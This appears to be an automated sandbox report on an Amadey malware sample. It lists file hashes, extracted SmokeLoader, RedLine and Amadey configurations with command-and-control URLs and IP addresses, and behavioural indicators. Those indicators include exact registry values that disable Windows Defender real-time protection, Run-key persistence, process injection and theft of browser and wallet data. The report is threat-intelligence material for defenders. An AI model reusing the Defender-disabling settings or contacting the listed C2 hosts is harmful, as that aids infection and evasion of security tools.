amadey | 2edd57fcddcc08bcb3f8a199d83070dba2ba76f1550783e7099a1a8d3b13a24d

Analysis

max time kernel
115s
max time network
161s
platform
windows10-2004_x64
resource
win10v2004-20231023-en
resource tags

arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
submitted
04-11-2023 14:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

NEAS.bc403634080e6480056dd5d21f4013a0.exe
Size

1.6MB
MD5

bc403634080e6480056dd5d21f4013a0
SHA1

8b92ba0d4189c2d25f361532392f243022f3213a
SHA256

2edd57fcddcc08bcb3f8a199d83070dba2ba76f1550783e7099a1a8d3b13a24d
SHA512

54689d156b0e5771b12a06ecf4dfeb42f6a6e51a965c9ae20c22212d0e339ed4cf12e3237691b68631b9d123260ebf4c814bec89497d0b5994c6370dc0ed618c
SSDEEP

24576:lyHnuJDGynaiVFJvnnWfFfEvCPnlow6QWb7/t+yTQ1OFbPghgF15KCkA+Z:AHn8tvW9fe+Il+y5Ga5dk

Malware Config

Extracted

Family

smokeloader

Version

2022

http://77.91.68.29/fks/

rc4.i32

Extracted

Family

redline

Botnet

grome

77.91.124.86:19084

Extracted

Family

amadey

Version

3.89

http://77.91.124.1/theme/index.php

Attributes

install_dir
fefffe8cea
install_file
explothe.exe
strings_key
36a96139c1118a354edf72b1080d4b2f

rc4.plain

Extracted

Family

redline

Botnet

plost

77.91.124.86:19084

Extracted

Family

redline

Botnet

kedru

77.91.124.86:19084

Extracted

Family

redline

Botnet

pixelnew2.0

194.49.94.11:80

Extracted

Family

smokeloader

Botnet

up3

Extracted

Family

smokeloader

Version

2020

http://host-file-host6.com/

http://host-host-file8.com/

rc4.i32

Extracted

Family

redline

Botnet

LiveTraffic

195.10.205.17:8122

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat
Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 4 IoCs

Processes:

resource	yara_rule
behavioral1/memory/8144-964-0x0000000002DE0000-0x00000000036CB000-memory.dmp	family_glupteba
behavioral1/memory/8144-973-0x0000000000400000-0x0000000000D1B000-memory.dmp	family_glupteba
behavioral1/memory/8144-1222-0x0000000002DE0000-0x00000000036CB000-memory.dmp	family_glupteba
behavioral1/memory/8144-1338-0x0000000000400000-0x0000000000D1B000-memory.dmp	family_glupteba

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

Processes:

AppLaunch.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	AppLaunch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	AppLaunch.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	AppLaunch.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	AppLaunch.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	AppLaunch.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	AppLaunch.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 7 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2064-66-0x0000000000400000-0x000000000043E000-memory.dmp	family_redline
behavioral1/memory/5712-441-0x0000000000260000-0x000000000029C000-memory.dmp	family_redline
behavioral1/memory/5756-636-0x0000000000230000-0x000000000026C000-memory.dmp	family_redline
behavioral1/memory/8140-772-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline
behavioral1/memory/1564-786-0x0000000000480000-0x00000000004DA000-memory.dmp	family_redline
behavioral1/memory/1564-895-0x0000000000400000-0x0000000000472000-memory.dmp	family_redline
behavioral1/memory/8064-1632-0x0000000000380000-0x00000000003BC000-memory.dmp	family_redline

SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/8140-772-0x0000000000400000-0x000000000041E000-memory.dmp	family_sectoprat

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

Processes:

latestX.exe

description	pid	process	target process
PID 6360 created 3152	6360	latestX.exe	Explorer.EXE
PID 6360 created 3152	6360	latestX.exe	Explorer.EXE
PID 6360 created 3152	6360	latestX.exe	Explorer.EXE
PID 6360 created 3152	6360	latestX.exe	Explorer.EXE
PID 6360 created 3152	6360	latestX.exe	Explorer.EXE

Blocklisted process makes network request 2 IoCs

Processes:

rundll32.exerundll32.exe

flow pid process

246 8356 rundll32.exe
248 8340 rundll32.exe
Downloads MZ/PE file
Drops file in Drivers directory 1 IoCs

Processes:

latestX.exe

description ioc process

File created C:\Windows\System32\drivers\etc\hosts latestX.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Windows Service
T1543.003

Processes:

netsh.exe

pid process

8428 netsh.exe
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

flow	pid	process
246	8356	rundll32.exe
248	8340	rundll32.exe

description	ioc	process
File created	C:\Windows\System32\drivers\etc\hosts	latestX.exe

pid	process
8428	netsh.exe

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

91B3.exekos4.exeUtsysc.exe5kE6YP2.exeexplothe.execmd.exe6408.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation	91B3.exe
Key value queried	\REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation	kos4.exe
Key value queried	\REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation	Utsysc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation	5kE6YP2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation	explothe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation	6408.exe

Executes dropped EXE 39 IoCs

Processes:

dw3zJ94.exete3Jn42.exeKh8Oj58.exehB9oM87.exepJ1MK16.exe1AO96EF5.exe2Hm4181.exe3Lx96fW.exe4iy712Wi.exe5kE6YP2.exeexplothe.exe6Dd6et9.exe7Be2zP02.exe2778.exeDT7Zn0ah.exeTF6oY8aC.exe2EED.exeSV6Bk6ti.exe3314.exe1bt55Pr4.exeexplothe.exe2Nj465lM.exe6408.exeInstallSetup5.exetoolspub2.exemsedge.exeBroom.exe31839b57a4f11171d6abc8bbc4451ee4.exe8ACC.exekos4.exelatestX.exe91B3.exeUtsysc.exetoolspub2.exeFF43.exe31839b57a4f11171d6abc8bbc4451ee4.exeupdater.exeexplothe.exeUtsysc.exe

pid	process
2292	dw3zJ94.exe
4388	te3Jn42.exe
2736	Kh8Oj58.exe
828	hB9oM87.exe
4244	pJ1MK16.exe
3556	1AO96EF5.exe
5000	2Hm4181.exe
3752	3Lx96fW.exe
1636	4iy712Wi.exe
4032	5kE6YP2.exe
4480	explothe.exe
1316	6Dd6et9.exe
400	7Be2zP02.exe
7128	2778.exe
4560	DT7Zn0ah.exe
5076	TF6oY8aC.exe
1340	2EED.exe
4540	SV6Bk6ti.exe
5712	3314.exe
4244	1bt55Pr4.exe
8188	explothe.exe
5756	2Nj465lM.exe
7344	6408.exe
6280	InstallSetup5.exe
2780	toolspub2.exe
1564	msedge.exe
7432	Broom.exe
8144	31839b57a4f11171d6abc8bbc4451ee4.exe
8140	8ACC.exe
7288	kos4.exe
6360	latestX.exe
6708	91B3.exe
7852	Utsysc.exe
7328	toolspub2.exe
8760	FF43.exe
8968	31839b57a4f11171d6abc8bbc4451ee4.exe
8604	updater.exe
3800	explothe.exe
8336	Utsysc.exe

Loads dropped DLL 4 IoCs

Processes:

rundll32.exerundll32.exerundll32.exerundll32.exe

pid process

4732 rundll32.exe
8292 rundll32.exe
8340 rundll32.exe
8356 rundll32.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
4732	rundll32.exe
8292	rundll32.exe
8340	rundll32.exe
8356	rundll32.exe

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

dw3zJ94.exeKh8Oj58.exehB9oM87.exepJ1MK16.exe2778.exeTF6oY8aC.exeNEAS.bc403634080e6480056dd5d21f4013a0.exeDT7Zn0ah.exeSV6Bk6ti.exete3Jn42.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	dw3zJ94.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\""	Kh8Oj58.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\""	hB9oM87.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup5 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP005.TMP\\\""	pJ1MK16.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	2778.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	TF6oY8aC.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	NEAS.bc403634080e6480056dd5d21f4013a0.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	DT7Zn0ah.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\""	SV6Bk6ti.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	te3Jn42.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Detected potential entity reuse from brand microsoft.
phishing microsoft
Detected potential entity reuse from brand paypal.
phishing paypal

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe

Suspicious use of SetThreadContext 5 IoCs

Processes:

1AO96EF5.exe2Hm4181.exe4iy712Wi.exe1bt55Pr4.exetoolspub2.exe

description	pid	process	target process
PID 3556 set thread context of 4588	3556	1AO96EF5.exe	AppLaunch.exe
PID 5000 set thread context of 3796	5000	2Hm4181.exe	AppLaunch.exe
PID 1636 set thread context of 2064	1636	4iy712Wi.exe	AppLaunch.exe
PID 4244 set thread context of 3516	4244	1bt55Pr4.exe	AppLaunch.exe
PID 2780 set thread context of 7328	2780	toolspub2.exe	toolspub2.exe

Drops file in Program Files directory 1 IoCs

Processes:

latestX.exe

description ioc process

File created C:\Program Files\Google\Chrome\updater.exe latestX.exe
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exe

pid process

8264 sc.exe
8304 sc.exe
7688 sc.exe
8156 sc.exe
8224 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
File created	C:\Program Files\Google\Chrome\updater.exe	latestX.exe

pid	process
8264	sc.exe
8304	sc.exe
7688	sc.exe
8156	sc.exe
8224	sc.exe

Program crash 6 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
4164	3556	WerFault.exe	1AO96EF5.exe
1364	5000	WerFault.exe	2Hm4181.exe
1744	3796	WerFault.exe	AppLaunch.exe
2068	1636	WerFault.exe	4iy712Wi.exe
1968	3516	WerFault.exe	AppLaunch.exe
6068	4244	WerFault.exe	1bt55Pr4.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

3Lx96fW.exetoolspub2.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3Lx96fW.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3Lx96fW.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	3Lx96fW.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1376 schtasks.exe
5240 schtasks.exe

pid	process
1376	schtasks.exe
5240	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedge.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

31839b57a4f11171d6abc8bbc4451ee4.exepowershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2942 = "Sao Tome Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-3141 = "South Sudan Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1931 = "Russia TZ 11 Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2001 = "Cabo Verde Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2871 = "Magallanes Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1861 = "Russia TZ 6 Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2391 = "Aleutian Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1502 = "Turkey Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1971 = "Belarus Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1912 = "Russia TZ 10 Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2751 = "Tomsk Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2162 = "Altai Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	31839b57a4f11171d6abc8bbc4451ee4.exe
